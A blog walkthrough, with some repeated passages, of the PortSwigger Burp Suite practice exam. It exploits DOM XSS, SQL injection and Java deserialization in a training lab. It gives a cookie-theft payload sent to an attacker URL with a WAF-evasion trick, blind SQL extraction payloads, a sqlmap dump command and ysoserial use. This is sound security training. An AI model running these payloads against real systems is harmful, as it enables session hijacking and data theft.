Portswigger Practice Exam #1
Portswigger Practice Exam #1
In this blogpost we will see how to complete The Burp Suite Pratice Exam by Portswigger
We have 2 hours to complete the exam. The Exam itself is made up of three steps, in each of which we have to exploit a different vulnerability.
Steps:
We have 2 hours to complete the exam. The Exam itself is made up of three steps, in each of which we have to exploit a different vulnerability.
Steps:
- DOM Cross-Site Scripting (XSS)
- SQL Injection
- Insecure Desearilization
Step #0: Starting the exam
At the bottom of this page, we can start either the first or the second exam.Let's click on the next button to confirm to start the practice exam.
Now let's wait a few minutes to let the lab load up.
Step #1: DOM Cross-Site Scripting (XSS)Finally, let's click on the App 1 Button to load the exam webpage.
Let's enable the DOM Invader Extension
Let's use the Dom invader to identify the Sink(s)
Let's validate that we can exploit this sink with the following payload "-alert()-" to achieve a DOM XSS
Let's try to read the cookie using this JavaScript payload "-alert(document.cookie)-".

As we can see, the payload is blocked by a WAF. Since the "-alert()-" is not blocked, we can suppose that something about the string document.cookie is triggering the WAF, blocking us.
Let's keep in mind what we want to do. We want to redirect a victim user to our server in order to steal his or her cookie(s). To achieve this, we could often use the following payload "-location='<ATTACKER_URL>'+document.cookie-", but since we are unable to use the string document.cookie, we need to find another way to achieve our objective.
To overcome our issue, we can combine both the eval and the atob JavaScript functions, using this payload
Let's test our payload on ourselves to confirm that our approach is valid.

Perfect, it's working well, and we got our cookie reflected in the URL bar.

Now, let's use the Exploit server to send our payload to the victim and finally get his cookies.

Viewing the logs, we can see how the victim got redirected to our Exploit server and how we have stolen his session cookie.

As we can see, the payload is blocked by a WAF. Since the "-alert()-" is not blocked, we can suppose that something about the string document.cookie is triggering the WAF, blocking us.
Let's keep in mind what we want to do. We want to redirect a victim user to our server in order to steal his or her cookie(s). To achieve this, we could often use the following payload "-location='<ATTACKER_URL>'+document.cookie-", but since we are unable to use the string document.cookie, we need to find another way to achieve our objective.
To overcome our issue, we can combine both the eval and the atob JavaScript functions, using this payload
- "-eval(atob('BASE_64_PAYLOAD'))-"
Let's test our payload on ourselves to confirm that our approach is valid.
Perfect, it's working well, and we got our cookie reflected in the URL bar.
Now, let's use the Exploit server to send our payload to the victim and finally get his cookies.
Viewing the logs, we can see how the victim got redirected to our Exploit server and how we have stolen his session cookie.
Now let's inject the cookies we have stolen into our browser.

Now, after refreshing the webpage, we can see that we are logged as the user Carlos.

We have completed step 1, let's continue to step 2.
Now, after refreshing the webpage, we can see that we are logged as the user Carlos.
We have completed step 1, let's continue to step 2.
Step #2a: SQL Injection (Manual)
Since the only new available functionality is the "Advanced research" one, we can assume that we have to exploit it.To identify the presence of a probable SQL Injection, we can repeat a request, adding a hyphen to each parameter.
From the error in the screenshot above, we can assume that the database is PostgreSQL. To confirm that we can achieve a SQL Injection, let's try with the following
payload: ;SELECT PG_SLEEP(5);

It Worked! We can confirm that we have found a valid SQL Injection since the request took roughly 5 seconds or 5000 milliseconds.
Now let's manually exfiltrate the administrator's password, assuming that it is stored in the table named users. We will achieve this using the intruder.
But, first let's set up the Intruder properly:


Let's do the log-out and then log in as the user 'administrator' with the exfiltrated password.
payload: ;SELECT PG_SLEEP(5);
It Worked! We can confirm that we have found a valid SQL Injection since the request took roughly 5 seconds or 5000 milliseconds.
Now let's manually exfiltrate the administrator's password, assuming that it is stored in the table named users. We will achieve this using the intruder.
But, first let's set up the Intruder properly:
- Attack type: Cluster bomb attack
- Resource Pool: Default
- Payload 1: Number 1-20
- Payload 2: [A-Za-z0-9]
- Matching expression: by zero
- Payload: ;select+case+when+(username%3d'administrator'+and+substring(password,1,1)%3d'a')+then+1/(SELECT+0)+else+1/(SELECT+1)+end+from+users;
Let's do the log-out and then log in as the user 'administrator' with the exfiltrated password.
Step #2b: SQL Injection (Automated)
Since we can use sqlmap or ghauri during the exam, let's try to exploit the SQL Injection using one of them.Command:
- sqlmap
- The command itself
- -u 'https://0ae700f304a3ce9e86a8a27800340006.web-security-academy.net/advanced_search?SearchTerm=test&organize_by=DATE&blogArtist='
- the URL to test
- --cookie '<cookie_value>'
- the _lab cookie
- --cookie '--cookie '<cookie_value>''
- the session cookie
- --dbms=psql
- to test only PostgreSQL payload
- --batch
- to automate the process
- --technique E
- to use only ERROR base technique since those dump quicker than the blind ones
- --level=5
- increase the amount of payload
- -p organize_by
- specify which parameter to test
- --dump
- specify to dump the whole database
Step #3: Insecure Desearilization
The only new attack surface is the admin panel. Let's focus on that to complete the ExamLooking at the request to the /admin endpoint, we can see that there is a new base64 cookie. Let's see what we can achieve with it!
Let's start decoding it with Burp's decoder URL-Decode-->Base64 Decode.

With a quick research on the internet, we can see that the bytes 1F 8B are the signature of the gzip archive format.
With a quick research on the internet, we can see that the bytes 1F 8B are the signature of the gzip archive format.
Adding another decoding step we can see that this is a Java serialazible object that uses the CommonCollection
Let's install the "Java Deserialization Scanner" Extension

Let's send the /admin endpoint to the Java Deserialization Scanner Tab and let's configure it.

Let's specify the ysoserial path
Let's send the /admin endpoint to the Java Deserialization Scanner Tab and let's configure it.
Let's specify the ysoserial path
Since the cookie is a valid vector, let's read the content of /home/carlos/secret to complete the Exam

Let's Read the content from the collaborator tab
Let's Read the content from the collaborator tab
Congratulations, you have solved the lab!
Commenti
Posta un commento